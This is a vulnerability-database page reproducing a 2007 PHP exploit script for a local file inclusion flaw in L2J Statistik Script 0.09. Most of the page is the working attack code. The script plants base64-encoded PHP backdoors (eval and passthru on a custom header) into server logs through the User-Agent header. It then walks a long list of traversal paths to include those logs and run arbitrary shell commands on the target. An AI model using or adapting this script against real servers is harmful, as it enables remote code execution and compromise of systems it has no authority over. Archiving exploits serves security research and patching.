Lucene search
K
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
API Reference
Support
Settings
Sign in

L2J Statistik Script <= 0.09 (index.php page) Local File Include Exploit

🗓️ 08 Jan 2007 00:00:00Reported by RootType 
seebug
 seebug🔗 www.seebug.org👁 13 Views

L2J Statistik Script <= 0.09 Local File Include Exploit. Application: L2J Statistik Script <= v0.09 works with register_globals=On & magic_quotes=off. Exploit by Codebreak (a.k.a Chico). Contact: [email protected]

Code

                                                &lt;?

print&nbsp;'
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;___&nbsp;\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;\&nbsp;\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;____|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_)&nbsp;|&nbsp;&nbsp;&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;\&nbsp;\&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;/&nbsp;_&nbsp;\&nbsp;__&nbsp;\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__|&nbsp;\&nbsp;\&nbsp;&nbsp;/&nbsp;__&nbsp;\&nbsp;&nbsp;|&nbsp;&nbsp;_&nbsp;\&nbsp;&nbsp;|&nbsp;__|&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__/&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\&nbsp;\&nbsp;&nbsp;\&nbsp;/&nbsp;&nbsp;__/&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;_____|&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;`&nbsp;&nbsp;&lt;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;|&nbsp;(&nbsp;&nbsp;&nbsp;|&nbsp;|&nbsp;|&nbsp;&nbsp;&nbsp;
_____|_____|\___/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\_/\_/&nbsp;\___|_.__/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_____|_/\_\&nbsp;.__/&nbsp;_|\___/&nbsp;_|\__|&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
				&nbsp;__&nbsp;)\&nbsp;\&nbsp;&nbsp;&nbsp;/&nbsp;
				&nbsp;__&nbsp;\&nbsp;\&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;
				&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;
				____/&nbsp;&nbsp;&nbsp;_|&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
		&nbsp;&nbsp;___|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;
		&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_&nbsp;\&nbsp;&nbsp;&nbsp;_`&nbsp;|&nbsp;&nbsp;_&nbsp;\&nbsp;__&nbsp;\&nbsp;&nbsp;&nbsp;__|&nbsp;_&nbsp;\&nbsp;&nbsp;_`&nbsp;|&nbsp;|&nbsp;&nbsp;/&nbsp;
		&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(&nbsp;&nbsp;&nbsp;|&nbsp;(&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;__/&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;__/&nbsp;(&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&lt;&nbsp;&nbsp;
		\____|\___/&nbsp;\__,_|\___|_.__/&nbsp;_|&nbsp;&nbsp;\___|\__,_|_|\_\&nbsp;&nbsp;Rev.4

	
		~&nbsp;[&nbsp;www.codebreak.tk&nbsp;-&nbsp;[email protected]]&nbsp;~
&nbsp;

&nbsp;		&nbsp;&nbsp;Application:&nbsp;L2J&nbsp;Statistik&nbsp;Script&nbsp;&nbsp;&lt;=&nbsp;v0.09

	&nbsp;	works&nbsp;with&nbsp;register_globals=On&nbsp;&amp;&nbsp;magic_quotes=off


Exploit&nbsp;by:&nbsp;Codebreak&nbsp;(a.k.a&nbsp;Chico)
Contact:&nbsp;[email protected]
';

if&nbsp;($argc&lt;5)&nbsp;{
print_r('
-----------------------------------------------------------------------------
Usage:&nbsp;php&nbsp;'.$argv[0].'&nbsp;-type&nbsp;host&nbsp;path&nbsp;cmd
type:
&nbsp;-shell&nbsp;&nbsp;&nbsp;&nbsp;Execute&nbsp;shell&nbsp;commands.
&nbsp;-php&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Execute&nbsp;PHP&nbsp;code.
host:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target&nbsp;server&nbsp;(ip&nbsp;or&nbsp;hostname)
path:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Statistik&nbsp;Script&nbsp;path
cmd:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;shell&nbsp;command&nbsp;(ls&nbsp;-la,&nbsp;dir,&nbsp;etc..)&nbsp;or&nbsp;php&nbsp;code.
Options:
&nbsp;-p[port]:&nbsp;&nbsp;&nbsp;&nbsp;specify&nbsp;a&nbsp;port&nbsp;(default&nbsp;80)
&nbsp;-P[ip:port]:&nbsp;specify&nbsp;a&nbsp;proxy:port
Example:
&nbsp;'.$argv[0].'&nbsp;-type&nbsp;www.l2jserver.com&nbsp;/&nbsp;ls&nbsp;-la&nbsp;-P1.1.1.1:80
&nbsp;'.$argv[0].'&nbsp;-type&nbsp;www.gamingsite.com&nbsp;/lineage2/&nbsp;dir
-----------------------------------------------------------------------------
');

die;
}

error_reporting(0);
ini_set(&quot;max_execution_time&quot;,0);
ini_set(&quot;default_socket_timeout&quot;,5);

function&nbsp;quick_dump($string)
{
&nbsp;&nbsp;$result='';$exa='';$cont=0;
&nbsp;&nbsp;for&nbsp;($i=0;&nbsp;$i&lt;=strlen($string)-1;&nbsp;$i++)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;if&nbsp;((ord($string[$i])&nbsp;&lt;=&nbsp;32&nbsp;)&nbsp;|&nbsp;(ord($string[$i])&nbsp;&gt;&nbsp;126&nbsp;))
&nbsp;&nbsp;&nbsp;{$result.=&quot;&nbsp;&nbsp;.&quot;;}
&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;{$result.=&quot;&nbsp;&nbsp;&quot;.$string[$i];}
&nbsp;&nbsp;&nbsp;if&nbsp;(strlen(dechex(ord($string[$i])))==2)
&nbsp;&nbsp;&nbsp;{$exa.=&quot;&nbsp;&quot;.dechex(ord($string[$i]));}
&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;{$exa.=&quot;&nbsp;0&quot;.dechex(ord($string[$i]));}
&nbsp;&nbsp;&nbsp;$cont++;if&nbsp;($cont==15)&nbsp;{$cont=0;&nbsp;$result.=&quot;\r\n&quot;;&nbsp;$exa.=&quot;\r\n&quot;;}
&nbsp;&nbsp;}
&nbsp;return&nbsp;$exa.&quot;\r\n&quot;.$result;
}
$proxy_regex&nbsp;=&nbsp;'(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function&nbsp;sendpacket($packet)
{
&nbsp;&nbsp;global&nbsp;$proxy,&nbsp;$host,&nbsp;$port,&nbsp;$html,&nbsp;$proxy_regex;
&nbsp;&nbsp;if&nbsp;($proxy=='')&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$ock=fsockopen(gethostbyname($host),$port);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!$ock)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;'No&nbsp;response&nbsp;from&nbsp;'.$host.':'.$port;&nbsp;die;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
&nbsp;&nbsp;else&nbsp;{
	$c&nbsp;=&nbsp;preg_match($proxy_regex,$proxy);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!$c)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;'Not&nbsp;a&nbsp;valid&nbsp;proxy...';die;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;$parts=explode(':',$proxy);
&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;Connecting&nbsp;to&nbsp;&quot;.$parts[0].&quot;:&quot;.$parts[1].&quot;&nbsp;proxy...\r\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;$ock=fsockopen($parts[0],$parts[1]);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!$ock)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;'No&nbsp;response&nbsp;from&nbsp;proxy...';die;
	}
&nbsp;&nbsp;}
&nbsp;&nbsp;fputs($ock,$packet);
&nbsp;&nbsp;if&nbsp;($proxy=='')&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$html='';
&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(!feof($ock))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$html.=fgets($ock);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
&nbsp;&nbsp;else&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$html='';
&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;((!feof($ock))&nbsp;or&nbsp;(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$html.=fread($ock,1);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
&nbsp;&nbsp;fclose($ock);
}
function&nbsp;make_seed()
{
&nbsp;&nbsp;&nbsp;list($usec,&nbsp;$sec)&nbsp;=&nbsp;explode('&nbsp;',&nbsp;microtime());
&nbsp;&nbsp;&nbsp;return&nbsp;(float)&nbsp;$sec&nbsp;+&nbsp;((float)&nbsp;$usec&nbsp;*&nbsp;100000);
}

$cb=$argv[1];
$host=$argv[2];
$path=$argv[3];
$cmd=&quot;&quot;;

$port=80;
$proxy=&quot;&quot;;
for&nbsp;($i=4;&nbsp;$i&lt;$argc;&nbsp;$i++){
$temp=$argv[$i][0].$argv[$i][1];
if&nbsp;(($temp&lt;&gt;&quot;-p&quot;)&nbsp;and&nbsp;($temp&lt;&gt;&quot;-P&quot;))&nbsp;{$cmd.=&quot;&nbsp;&quot;.$argv[$i];}
if&nbsp;($temp==&quot;-p&quot;)
{
&nbsp;&nbsp;$port=str_replace(&quot;-p&quot;,&quot;&quot;,$argv[$i]);
}
if&nbsp;($temp==&quot;-P&quot;)
{
&nbsp;&nbsp;$proxy=str_replace(&quot;-P&quot;,&quot;&quot;,$argv[$i]);
}
}
if&nbsp;($proxy=='')&nbsp;{$p=$path;}&nbsp;else&nbsp;{$p='http://'.$host.':'.$port.$path;}

if&nbsp;($cb==&quot;-php&quot;)
{
$plop&nbsp;=&nbsp;&quot;php&quot;;
$breaker&nbsp;=&nbsp;base64_decode(&quot;PD9waHAgb2JfY2xlYW4oKTsgZWNobyhjb2RlYnJlYWspOyBpbmlfc2V0KG1heF9leGVjdXRpb25fdGltZSwwKTsgaWYoaXNzZXQoJF9TRVJWRVJbSFRUUF9IT0xBXSkpeyAgICRwaHAgPSBnZXRfbWFnaWNfcXVvdGVzX2dwYygpPyBzdHJpcHNsYXNoZXMoJF9TRVJWRVJbSFRUUF9IT0xBXSk6JF9TRVJWRVJbSFRUUF9IT0xBXTsgZXZhbCgkcGhwLlwiO1wiKTsgfSBkaWU7ID8+&quot;);
}
if&nbsp;($cb==&quot;-shell&quot;)
{
$plop&nbsp;=&nbsp;&quot;shell&quot;;
$breaker&nbsp;=&nbsp;base64_decode(&quot;PD9waHAgb2JfY2xlYW4oKTsgZWNobyhjb2RlYnJlYWspO2luaV9zZXQobWF4X2V4ZWN1dGlvbl90aW1lLDApOyBwYXNzdGhydSgkX1NFUlZFUltIVFRQX0hPTEFdKTsgZGllOyA/Pg==&quot;);
}
echo&nbsp;&quot;Poisoning&nbsp;Files&nbsp;...\r\n\r\n&quot;;


$p3=&quot;&quot;.$p2.&quot;index.php?page=&quot;.$breaker.&quot;&quot;;

$packet=&quot;GET&nbsp;&quot;.$p3.$breaker.&quot;&nbsp;HTTP/1.0\r\n&quot;;
$packet.=&quot;User-Agent:&nbsp;&quot;.$breaker.&quot;&nbsp;Googlebot/2.1\r\n&quot;;
$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Connection:&nbsp;close\r\n\r\n&quot;;
sendpacket($packet);
sleep(3);

echo&nbsp;&quot;Searching&nbsp;vulnerable&nbsp;files&nbsp;...\n&quot;;
$packet&nbsp;=&quot;POST&nbsp;&quot;.$p.&quot;/index.php?page=stat.php&amp;step=clan&amp;search=&quot;.$breaker.&quot;&nbsp;HTTP/1.0\r\n&quot;;
$packet.=&quot;User-Agent:&nbsp;&quot;.$breaker.&quot;\r\n&quot;;
$packet.=&quot;CLIENT-IP:&nbsp;&quot;.$breaker.&quot;\r\n&quot;;
$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Connection:&nbsp;Close\r\n\r\n&quot;;
$packet.=$data;
sendpacket($packet);
if&nbsp;(strstr($html,&quot;codebreak&quot;))
{
$temp=explode(&quot;codebreak&quot;,$html);
die($temp[1]);
}



echo&nbsp;&quot;&quot;;
$pakiet=&quot;GET&nbsp;&quot;.$p.$breaker.&quot;&nbsp;HTTP/1.1\r\n&quot;;
$packet.=&quot;HOLA:&nbsp;&quot;.$cmd.&quot;\r\n&quot;;
$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Connection:&nbsp;Close\r\n\r\n&quot;;
sendpacket($packet);
sleep(1);

$paths=&nbsp;array&nbsp;(
&quot;access.log&quot;
);

for&nbsp;($i=0;&nbsp;$i&lt;=count($paths)-1;&nbsp;$i++)
{
$a=$i+2;
echo&nbsp;&quot;&quot;;
$packet&nbsp;=&quot;GET&nbsp;&quot;.$p.&quot;index.php?page=../&quot;.$paths[$i].&quot;&nbsp;HTTP/1.1\r\n&quot;;
$packet.=&quot;HOLA:&nbsp;&quot;.$cmd.&quot;\r\n&quot;;
$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Connection:&nbsp;Close\r\n\r\n&quot;;
sendpacket($packet);
if&nbsp;(strstr($html,&quot;codebreak&quot;))
{
$temp=explode(&quot;codebreak&quot;,$html);
die($temp[1]);
}
}
$include=&nbsp;array&nbsp;(
&quot;index.php&quot;
);


$paths=&nbsp;array&nbsp;(
&quot;../../../../../../usr/local/Apache2/logs/error.log&quot;,
&quot;../../../../../../usr/local/Apache2/logs/access.log&quot;,
&quot;../../../../../var/log/httpd/access_log&quot;,
&quot;../../../../../var/log/httpd/error_log&quot;,
&quot;../apache/logs/error.log&quot;,
&quot;../apache/logs/access.log&quot;,
&quot;../../apache/logs/error.log&quot;,
&quot;../../apache/logs/access.log&quot;,
&quot;../../../apache/logs/error.log&quot;,
&quot;../../../apache/logs/access.log&quot;,
&quot;../../../../apache/logs/error.log&quot;,
&quot;../../../../apache/logs/access.log&quot;,
&quot;../../../../../apache/logs/error.log&quot;,
&quot;../../../../../apache/logs/access.log&quot;,
&quot;../logs/error.log&quot;,
&quot;../logs/access.log&quot;,
&quot;../../logs/error.log&quot;,
&quot;../../logs/access.log&quot;,
&quot;../../../logs/error.log&quot;,
&quot;../../../logs/access.log&quot;,
&quot;../../../../logs/error.log&quot;,
&quot;../../../../logs/access.log&quot;,
&quot;../../../../../logs/error.log&quot;,
&quot;../../../../../logs/access.log&quot;,
&quot;../../../../../etc/httpd/logs/access_log&quot;,
&quot;../../../../../etc/httpd/logs/access.log&quot;,
&quot;../../../../../etc/httpd/logs/error_log&quot;,
&quot;../../../../../etc/httpd/logs/error.log&quot;,
&quot;../../../../../var/www/logs/access_log&quot;,
&quot;../../../../../var/www/logs/access.log&quot;,
&quot;../../../../../usr/local/apache/logs/access_log&quot;,
&quot;../../../../../usr/local/apache/logs/access.log&quot;,
&quot;../../../../../var/log/apache/access_log&quot;,
&quot;../../../../../var/log/apache/access.log&quot;,
&quot;../../../../../var/log/access_log&quot;,
&quot;../../../../../var/www/logs/error_log&quot;,
&quot;../../../../../var/www/logs/error.log&quot;,
&quot;../../../../../usr/local/apache/logs/error_log&quot;,
&quot;../../../../../usr/local/apache/logs/error.log&quot;,
&quot;../../../../../var/log/apache/error_log&quot;,
&quot;../../../../../var/log/apache/error.log&quot;,
&quot;../../../../../usr/local/apache2/logs/access_log&quot;,
&quot;../../../../../usr/local/apache2/logs/access.log&quot;,
&quot;../../../../../var/log/apache2/access_log&quot;,
&quot;../../../../../var/log/apache2/access.log&quot;,
&quot;../../../../../usr/local/apache2/logs/error_log&quot;,
&quot;../../../../../usr/local/apache2/logs/error.log&quot;,
&quot;../../../../../var/log/apache2/error_log&quot;,
&quot;../../../../../var/log/apache2/error.log&quot;,
&quot;../../../../../var/log/access_log&quot;,
&quot;../../../../../var/log/error_log&quot;
);

for&nbsp;($i=0;&nbsp;$i&lt;=count($paths)-1;&nbsp;$i++)
for&nbsp;($l=0;&nbsp;$l&lt;=count($include)-1;&nbsp;$l++)
{
{
$b=$l+2;
echo&nbsp;&quot;&nbsp;Poisoned&nbsp;file?...[&quot;.$plop.&quot;]\n&quot;;
$packet&nbsp;=&quot;GET&nbsp;&quot;.$p.&quot;&quot;.$include[$l].&quot;?page=&quot;.$paths[$i].&quot;&nbsp;HTTP/1.1\r\n&quot;;
$packet.=&quot;HOLA:&nbsp;&quot;.$cmd.&quot;\r\n&quot;;
$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Connection:&nbsp;Close\r\n\r\n&quot;;
sendpacket($packet);

if&nbsp;(strstr($html,&quot;codebreak&quot;))
{
echo&nbsp;&quot;\r\n\r\n\r\n\r\nExploit&nbsp;succeeded....\r\n\r\n\r\n\r\n&quot;;
$temp=explode(&quot;codebreak&quot;,$html);
die($temp[1]);
}
}
}
echo&nbsp;&quot;Exploit&nbsp;Failed.&nbsp;Possibly&nbsp;register_globals&nbsp;off&nbsp;or&nbsp;magic_quotes&nbsp;on\r\n&quot;;
echo&nbsp;&quot;[email protected]\r\n&quot;;
echo&nbsp;&quot;www.codebreak.tk\r\n&quot;;

//&nbsp;Based&nbsp;in&nbsp;Kacper&nbsp;LFI&nbsp;codes.
?&gt;

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

Book a live demo
08 Jan 2007 00:00Current
7.1High risk
Vulners AI Score7.1
local file includeexploitregister globalsmagic quotescodebreak chicol2j statistik scriptphp shell command
13